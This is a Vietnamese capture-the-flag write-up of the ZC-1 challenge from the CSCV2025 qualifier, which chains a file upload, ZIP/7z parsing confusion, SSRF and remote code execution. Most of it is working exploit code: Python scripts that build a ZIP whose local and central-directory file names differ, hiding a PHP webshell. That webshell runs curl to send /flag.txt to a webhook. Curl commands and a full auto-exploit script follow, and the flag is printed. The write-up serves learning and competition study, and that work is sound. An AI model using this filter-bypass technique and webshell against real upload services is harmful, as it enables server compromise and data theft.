# Write up ZC-1
( Thuộc vòng sơ khảo cuộc thi sinh viên An Ninh Mạng 2025 aka CSCV2025 )

Mình vừa tham gia vòng sơ khảo cuộc thi sinh viên An Ninh Mạng 2025 . Dù đã cố hết sức nhưng vẫn là chưa đủ để đi tiếp vào chung kết...

Thôi không sao, hành trình này vẫn còn dài. Nay mình sẽ viết write up về một bài hay ho mà mình solve được ở giải.

[challenge source code here](https://drive.google.com/file/d/1PprDuWV1u11dnH1mf_Bc70La8CpFZ7NR/view?usp=drive_link)
## 1. Overview (TL-DR)
File upload + Zip Confusion → SSRF → RCE

Lợi dụng sử khác nhau trong cách giải nén của zip và 7z để bypass kiểm tra đuôi file => upload shell PHP thành công => thực thi mã từ xa

## 2. Analysis:
### App1 (Django):

`POST /gateway/transport`: nhận file zip từ người dùng rồi forward sang `POST /storage.php` của app2 để giải nén.

`GET /gateway/health?module=<app2-path>`: proxy HTTP từ app1 sang app2 với đường dẫn module. Trả về “OK” nếu app2 trả 200, ngược lại “ERR”.

Kiểm tra file trước khi forward: trong `utils.py` dùng thư viện Python zipfile để mở archive và bắt buộc tất cả entry phải có đuôi trong ALLOW_STORAGE_FILE = (".txt", ".docx", ".png", ".jpg", ".jpeg").

### App2 (PHP + 7z):
app2 không public port ra ngoài nên chỉ GET tới được qua SSRF /gateway/health của app1.

POST /storage.php: nhận id + file, gọi thư viện gemorroj/archive7z (thực ra gọi lệnh 7z) để extract vào thư mục /var/www/html/storage/{id}. Biến id này là một chuỗi uuid được app1 lấy từ user-id của người dùng(không control được).

Challenge này dùng Django nên docker build xong nặng 15GB,quá kinh dị !

Ban đầu mình "think inside the box" đến hướng zip slip nên tốn rất nhiều thời gian. Để rồi nhận ra 7z version bây giờ nó đã handle lỗi này.

### Luồng Hoạt Động:
Ta có thể upload một file zip lên app1, app1 đọc nội dung bên trong file zip đó nếu thấy các file bên trong có đuôi được phép thì sẽ lưu nó sang app2, app2 sẽ giải nén file đó bằng 7z và lưu trong thư mục thuộc document root .

Nên nếu ta upload được shell php lên thì sẽ RCE được (bằng SSRF)

### Zip confusion:
Vấn đề và cũng là mấu chốt của bài này là làm sao để bypass được check kiểm tra file type ở app1. Câu trả lời là ta lợi dụng sự khác nhau trong cách giải nén của zip và 7z.

ZIP là một định dạng có Central Directory nằm ở cuối file (End Of Central Directory — EOCD). Trình ZIP đọc EOCD ở cuối để biết danh sách file và offsets tới Local File Headers.

7z có header/signature ở đầu file (magic 37 7A BC AF 27 1C) và thường chỉ đọc phần archive từ đầu; nhiều decoder bỏ qua dữ liệu thừa ở cuối (trailing data).
Vì vậy ta có thể tạo ra polygot 7z ở đầu, ZIP nối vào sau để bypass kiểm tra

Ta nối thủ công các cấu trúc cấp thấp của zip
`Local File Header (LFH) + file data + Central Directory Header (CD) + End Of Central Directory (EOCD)` nhưng tên file trong `Local File Header` khác với tên file trong `Central Directory` để bypass kiểm tra tên file.

Đây là script tạo ra polygot `exploit.zip` giải nén ra thành công file php được lên app2:

import struct, zlib, os

php = b"""<?php system("curl https://webhook.site/c8054bbf-7628-4032-9ae5-439c69cd8ec0/$(base64 /flag.txt)"); ?>"""

name_lh = b"solve.php"       
name_cd = b"solve.php.jpg"   
method = 0
crc = zlib.crc32(php) & 0xffffffff
size = len(php)
dos_time, dos_date = 0x4A21, 0x5A53


lfh = struct.pack("<IHHHHHIIIHH",
    0x04034b50, 20, 0, method, dos_time, dos_date, crc, size, size, len(name_lh), 0
) + name_lh

rel_off = 0
cdh = struct.pack("<IHHHHHHIIIHHHHHII",
    0x02014b50, 20, 20, 0, method, dos_time, dos_date, crc, size, size,
    len(name_cd), 0, 0, 0, 0, 0, rel_off
) + name_cd

cd_offset = len(lfh) + len(php)
cd_size   = len(cdh)
eocd = struct.pack("<IHHHHIIH",
    0x06054b50, 0, 0, 1, 1, cd_size, cd_offset, 0
)

with open("exploit.zip","wb") as f:
    f.write(lfh); f.write(php); f.write(cdh); f.write(eocd)

print("Wrote exploit.zip", os.path.getsize("exploit.zip"))
#Thank GPT and nglbao1340

App1 kiểm tra tên file bằng Python zipfile.namelist() → lấy tên trong Central Directory, nên chỉ thấy solve.php.jpg và pass bộ lọc .jpg/.png/.txt….

App2 giải nén bằng 7‑Zip (Archive7z gọi 7z “x”) → khi extract, 7z sử dụng tên từ Local File Header (solve.php), vì thế file thực được ghi lên app2 là solve.php (đuôi .php).

### Exploit:
đăng kí:

curl -X POST http://web2.cscv.vn:8000/gateway/user/ -H 'Content-Type: application/json'  -d '{"username": "u", "password": "p"}'

lấy access-token:

curl -X POST \
  http://web2.cscv.vn:8000/auth/token/ \                                                                                                                             
  -H 'Content-Type: application/json'  -d '{"username": "u", "password": "p"}'

Upload file zip với access token vừa lấy:

curl -s -X POST 'http://192.168.40.1:8000/gateway/transport/' -H "Authorization: Bearer <access-token>"  -F "file=@exploit.zip"

SSRF để trigger file php

curl  http://web2.cscv.vn:8000/gateway/health/?module=/storage/5088d130-06cd-4195-9ee7-b24030eab56c/solve.php

### Script Auto Exploit:
Đây là script python tự động solve challenge này(chạy trên linux nhé,tất nhiên khúc này là mình nhờ GPT rồi,mình chưa tự viết được script auto cỡ này):

#!/usr/bin/env python3
"""
Automate end-to-end exploit flow (no external deps):
 - Build exploit ZIP with LFH/CD mismatch containing a PHP payload
 - Register a new user on app1
 - Obtain JWT access token
 - Extract user_id from JWT
 - Upload the ZIP via /gateway/transport
 - Trigger /gateway/health to execute the payload

Usage examples:
  python auto_exploit.py --base-url http://web2.cscv.vn:8000 \
    --webhook https://webhook.site/xxxx-xxxx \
    --out exploit.zip --lfh-name solve.php --cd-name solve.php.jpg

Notes:
 - This script uses only Python standard library (urllib) for HTTP.
 - The PHP payload uses curl on app2 to POST /flag.txt to your webhook.
"""

import argparse
import base64
import json
import os
import struct
import sys
import time
import urllib.parse
import urllib.request
import urllib.error
import zlib
from typing import Dict, Optional, Tuple


# -------------------- ZIP builder (LFH/CD mismatch) --------------------
def build_zip_with_lfh_cd_mismatch(payload: bytes, lfh_name: bytes, cd_name: bytes, out_path: str) -> None:
    """Create a minimal ZIP with one entry where the Local File Header (LFH)
    filename (actual extracted name) differs from the Central Directory (CD)
    filename (used by validators), enabling extension-based filter bypass.
    """
    method = 0  # store
    crc = zlib.crc32(payload) & 0xFFFFFFFF
    size = len(payload)

    # Arbitrary DOS date/time
    dos_time, dos_date = 0x4A21, 0x5A53

    # Local File Header at offset 0
    lfh = struct.pack(
        '<IHHHHHIIIHH',
        0x04034B50,  # signature
        20,          # version needed
        0,           # flags
        method,      # compression method
        dos_time,
        dos_date,
        crc,
        size,
        size,
        len(lfh_name),  # file name length
        0               # extra length
    ) + lfh_name

    rel_off = 0  # local header offset
    # Central Directory Header
    cdh = struct.pack(
        '<IHHHHHHIIIHHHHHII',
        0x02014B50,  # signature
        20,          # version made by
        20,          # version needed
        0,           # flags
        method,      # compression
        dos_time,
        dos_date,
        crc,
        size,
        size,
        len(cd_name),  # file name length
        0,             # extra length
        0,             # file comment length
        0,             # disk number start
        0,             # internal attrs
        0,             # external attrs
        rel_off        # relative offset of local header
    ) + cd_name

    cd_offset = len(lfh) + len(payload)
    cd_size = len(cdh)
    eocd = struct.pack(
        '<IHHHHIIH',
        0x06054B50,  # signature
        0,  # disk number
        0,  # disk where central directory starts
        1,  # total entries on this disk
        1,  # total entries
        cd_size,
        cd_offset,
        0   # comment length
    )

    with open(out_path, 'wb') as f:
        f.write(lfh)
        f.write(payload)
        f.write(cdh)
        f.write(eocd)


def make_php_payload_curl_post(webhook: str) -> bytes:
    """Create a PHP payload that uses curl on app2 to POST /flag.txt to webhook."""
    # Use single quotes around URL to avoid shell expansions
    cmd = f"curl -sS -X POST --data-binary @/flag.txt '{webhook}'"
    php = f'<?php @system("{cmd}") ?>'
    return php.encode('utf-8')


# -------------------- HTTP helpers (urllib) --------------------
def http_request(method: str, url: str, headers: Optional[Dict[str, str]] = None, data: Optional[bytes] = None, timeout: float = 10.0) -> Tuple[int, bytes, Dict[str, str]]:
    req = urllib.request.Request(url=url, method=method)
    if headers:
        for k, v in headers.items():
            req.add_header(k, v)
    try:
        with urllib.request.urlopen(req, data=data, timeout=timeout) as resp:
            status = getattr(resp, 'status', resp.getcode())
            body = resp.read()
            resp_headers = {k.lower(): v for k, v in resp.headers.items()}
            return status, body, resp_headers
    except urllib.error.HTTPError as e:
        body = e.read() if e.fp else b''
        return e.code, body, {k.lower(): v for k, v in (e.headers or {}).items()}


def post_json(url: str, obj: Dict, headers: Optional[Dict[str, str]] = None, timeout: float = 10.0) -> Tuple[int, Dict]:
    payload = json.dumps(obj).encode('utf-8')
    base_headers = {'Content-Type': 'application/json'}
    if headers:
        base_headers.update(headers)
    status, body, _ = http_request('POST', url, headers=base_headers, data=payload, timeout=timeout)
    try:
        data = json.loads(body.decode('utf-8')) if body else {}
    except Exception:
        data = {}
    return status, data


def post_multipart(url: str, fields: Dict[str, Tuple[str, bytes, str]], headers: Optional[Dict[str, str]] = None, timeout: float = 15.0) -> Tuple[int, bytes]:
    """Send multipart/form-data request.
    fields: name -> (filename, content, content_type)
    """
    boundary = f'---------------{int(time.time() * 1000)}'
    lines = []
    for name, (filename, content, ctype) in fields.items():
        lines.append(f'--{boundary}\r\n'.encode('utf-8'))
        dispo = f'Content-Disposition: form-data; name="{name}"'
        if filename is not None:
            dispo += f'; filename="{filename}"'
        lines.append((dispo + '\r\n').encode('utf-8'))
        if ctype:
            lines.append((f'Content-Type: {ctype}\r\n').encode('utf-8'))
        lines.append(b'\r\n')
        lines.append(content)
        lines.append(b'\r\n')
    lines.append(f'--{boundary}--\r\n'.encode('utf-8'))
    body = b''.join(lines)

    base_headers = {'Content-Type': f'multipart/form-data; boundary={boundary}'}
    if headers:
        base_headers.update(headers)

    status, resp_body, _ = http_request('POST', url, headers=base_headers, data=body, timeout=timeout)
    return status, resp_body


# -------------------- JWT helpers --------------------
def b64url_decode_to_json(b64url: str) -> Dict:
    s = b64url.encode('ascii')
    s = s.replace(b'-', b'+').replace(b'_', b'/')
    s += b'=' * ((4 - len(s) % 4) % 4)
    raw = base64.b64decode(s)
    try:
        return json.loads(raw.decode('utf-8'))
    except Exception:
        return {}


def decode_jwt_user_id(token: str) -> Optional[str]:
    parts = token.split('.')
    if len(parts) != 3:
        return None
    payload = b64url_decode_to_json(parts[1])
    uid = payload.get('user_id')
    return uid


# -------------------- Flow steps --------------------
def register(base_url: str, username: str, password: str, email: str) -> Tuple[int, str]:
    url = f"{base_url}/gateway/user/"
    status, data = post_json(url, {"username": username, "password": password, "email": email})
    # DRF may return plain text (username) not JSON; fallback
    if not data:
        # Try raw
        s, body, _ = http_request('POST', url, headers={'Content-Type': 'application/json'}, data=json.dumps({"username": username, "password": password, "email": email}).encode('utf-8'))
        return s, body.decode('utf-8', 'ignore')
    return status, json.dumps(data)


def get_token(base_url: str, username: str, password: str) -> str:
    url = f"{base_url}/auth/token/"
    status, data = post_json(url, {"username": username, "password": password})
    if status != 200 or 'access' not in data:
        raise RuntimeError(f"Failed to get token: HTTP {status}, data={data}")
    return data['access']


def upload_zip(base_url: str, access: str, zip_path: str) -> Tuple[int, str]:
    url = f"{base_url}/gateway/transport/"
    with open(zip_path, 'rb') as f:
        content = f.read()
    status, resp_body = post_multipart(
        url,
        fields={
            'file': ('exploit.zip', content, 'application/zip')
        },
        headers={'Authorization': f'Bearer {access}'}
    )
    return status, resp_body.decode('utf-8', 'ignore')


def trigger_health(base_url: str, user_id: str, lfh_name: str) -> Tuple[int, str]:
    # /gateway/health?module=/storage/<user_id>/<lfh_name>
    qs = urllib.parse.urlencode({'module': f"/storage/{user_id}/{lfh_name}"})
    url = f"{base_url}/gateway/health/?{qs}"
    status, body, _ = http_request('GET', url)
    return status, body.decode('utf-8', 'ignore')


# -------------------- Main --------------------
def main():
    ap = argparse.ArgumentParser(description='Automate: build ZIP -> register -> JWT -> upload -> trigger health')
    ap.add_argument('--base-url', default='http://127.0.0.1:8000', help='Base URL of app1 (default: %(default)s)')
    ap.add_argument('--webhook', required=True, help='Webhook URL to receive /flag.txt (e.g., https://webhook.site/uuid)')
    ap.add_argument('--out', default='exploit.zip', help='Output zip path (default: %(default)s)')
    ap.add_argument('--lfh-name', default='solve.php', help='Actual extracted filename (must end with .php)')
    ap.add_argument('--cd-name', default='solve.php.jpg', help='Central Directory filename to pass extension filter')
    ap.add_argument('--username', default=f'ctfuser_{int(time.time())}', help='Username to register (default: random)')
    ap.add_argument('--password', default='P@ssw0rd!123', help='Password to register (default: %(default)s)')
    ap.add_argument('--email', default=None, help='Email for registration (default: <username>@example.com)')
    args = ap.parse_args()

    base_url = args.base_url.rstrip('/')
    email = args.email or f"{args.username}@example.com"

    # 1) Build exploit ZIP with PHP payload that posts /flag.txt to webhook using curl
    php_payload = make_php_payload_curl_post(args.webhook)
    build_zip_with_lfh_cd_mismatch(php_payload, args.lfh_name.encode('utf-8'), args.cd_name.encode('utf-8'), args.out)
    print(f"[+] Built ZIP: {args.out} ({os.path.getsize(args.out)} bytes)")
    print(f"    LFH name (actual extracted): {args.lfh_name}")
    print(f"    CD  name (validator sees):   {args.cd_name}")

    # 2) Register
    status, reg_resp = register(base_url, args.username, args.password, email)
    if status not in (200, 201):
        print(f"[!] Registration returned HTTP {status}: {reg_resp}")
    else:
        print(f"[+] Registered: {reg_resp}")

    # 3) Get JWT access token
    access = get_token(base_url, args.username, args.password)
    print("[+] Access token obtained")

    # 4) Extract user_id from JWT
    user_id = decode_jwt_user_id(access)
    if not user_id:
        print("[-] Could not extract user_id from JWT payload", file=sys.stderr)
        sys.exit(2)
    print(f"[+] user_id: {user_id}")

    # 5) Upload exploit ZIP
    status, up_resp = upload_zip(base_url, access, args.out)
    print(f"[+] Upload HTTP {status}: {up_resp}")
    if status != 200:
        print("[-] Upload failed; aborting trigger", file=sys.stderr)
        sys.exit(3)

    # 6) Trigger health to execute payload
    status, health_resp = trigger_health(base_url, user_id, args.lfh_name)
    print(f"[+] Health HTTP {status}: {health_resp}")
    print("[i] If payload ran, check your webhook for the flag.")


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print('\n[!] Interrupted', file=sys.stderr)
        sys.exit(1)

#!/usr/bin/env python3
import argparse
import os
import struct
import sys
import zlib

def build_zip_with_lfh_cd_mismatch(payload: bytes, lfh_name: bytes, cd_name: bytes, out_path: str) -> None:
    """
    Tạo một ZIP tối giản với 1 entry:
      - Local File Header (LFH) name: tên thực sự khi extractor ghi ra đĩa (phải .php)
      - Central Directory (CD) name: tên mà validator đọc (phải là .jpg/.png/.txt … để pass filter)
    """
    method = 0  # store (không nén)
    crc = zlib.crc32(payload) & 0xFFFFFFFF
    size = len(payload)

    # DOS time/date giả định (không quan trọng)
    dos_time, dos_date = 0x4A21, 0x5A53

    # Local File Header ở offset 0
    lfh = struct.pack(
        "<IHHHHHIIIHH",
        0x04034B50,  # signature
        20,          # version needed
        0,           # flags
        method,      # compression
        dos_time, dos_date,
        crc, size, size,    # crc, comp_size, uncomp_size
        len(lfh_name),      # file name length
        0                   # extra length
    ) + lfh_name

    # Central Directory header, trỏ về offset 0, nhưng tên khác (để vượt filter)
    rel_off = 0  # local header offset
    cdh = struct.pack(
        "<IHHHHHHIIIHHHHHII",
        0x02014B50,  # signature
        20,          # version made by
        20,          # version needed
        0,           # flags
        method,      # compression
        dos_time, dos_date,
        crc, size, size,
        len(cd_name),# file name length
        0,           # extra length
        0,           # file comment length
        0,           # disk number start
        0,           # internal attrs
        0,           # external attrs
        rel_off      # relative offset of local header
    ) + cd_name

    cd_offset = len(lfh) + len(payload)
    cd_size   = len(cdh)
    eocd = struct.pack(
        "<IHHHHIIH",
        0x06054B50,  # signature
        0, 0,        # disk nums
        1, 1,        # total entries
        cd_size,
        cd_offset,
        0            # comment length
    )

    with open(out_path, "wb") as f:
        f.write(lfh)
        f.write(payload)
        f.write(cdh)
        f.write(eocd)

def make_php_payload_curl_post(webhook: str) -> bytes:
    """
    Tạo payload PHP: dùng curl POST nguyên nội dung /flag.txt làm body lên webhook.
    Không cần base64, hạn chế lỗi quote/giới hạn độ dài URL.
    """
    # Bọc URL trong dấu nháy đơn để shell không bị expand ký tự đặc biệt
    # Dùng --data-binary @/flag.txt để gửi đúng nội dung file, không sửa đổi
    cmd = f"curl -sS -X POST --data-binary @/flag.txt '{webhook}'"
    php = f'<?php @system("{cmd}"); http_response_code(200); echo "SENT"; ?>'
    return php.encode("utf-8")

def main():
    ap = argparse.ArgumentParser(description="Build exploit.zip (LFH/CD mismatch) với payload PHP gửi /flag.txt ra webhook (curl).")
    ap.add_argument("--webhook", required=True, help="Webhook URL để nhận flag (ví dụ: https://webhook.site/<uuid>)")
    ap.add_argument("--out", default="exploit.zip", help="Tên file zip xuất ra (mặc định: exploit.zip)")
    ap.add_argument("--lfh-name", default="solve.php", help="Tên file thực khi extract (phải .php). VD: solve.php")
    ap.add_argument("--cd-name", default="solve.php.jpg", help="Tên file ở Central Directory để vượt filter. VD: solve.php.jpg")
    args = ap.parse_args()

    # Tạo payload PHP (gửi flag bằng curl POST)
    php_payload = make_php_payload_curl_post(args.webhook)

    # Tạo ZIP khai thác
    lfh_name = args.lfh_name.encode("utf-8")
    cd_name  = args.cd_name.encode("utf-8")
    build_zip_with_lfh_cd_mismatch(php_payload, lfh_name, cd_name, args.out)

    size = os.path.getsize(args.out)
    print(f"[+] Đã tạo {args.out} ({size} bytes)")
    print(f"    - LFH (tên thực khi extract): {args.lfh_name}")
    print(f"    - CD  (tên validator nhìn thấy): {args.cd_name}")
    print()
    print("Cách dùng tiếp theo:")
    print("1) Upload exploit.zip qua /gateway/transport (cần token) hoặc trực tiếp /storage.php nếu bài cho phép.")
    print("2) Gọi /gateway/health với tham số module trỏ tới file .php vừa extract, ví dụ:")
    print("   /gateway/health?module=/storage/<user_id>/" + args.lfh_name)
    print("   (user_id lấy từ JWT claim user_id sau khi đăng nhập).")
    print("3) Kiểm tra webhook để nhận flag.")

if __name__ == "__main__":
    # Cho phép chạy trực tiếp trên Windows/Powershell hoặc Linux
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted", file=sys.stderr)
        sys.exit(1)


**Flag: CSCV2025{Z1p_z1P_21p_Ca7_c47_c@t__}**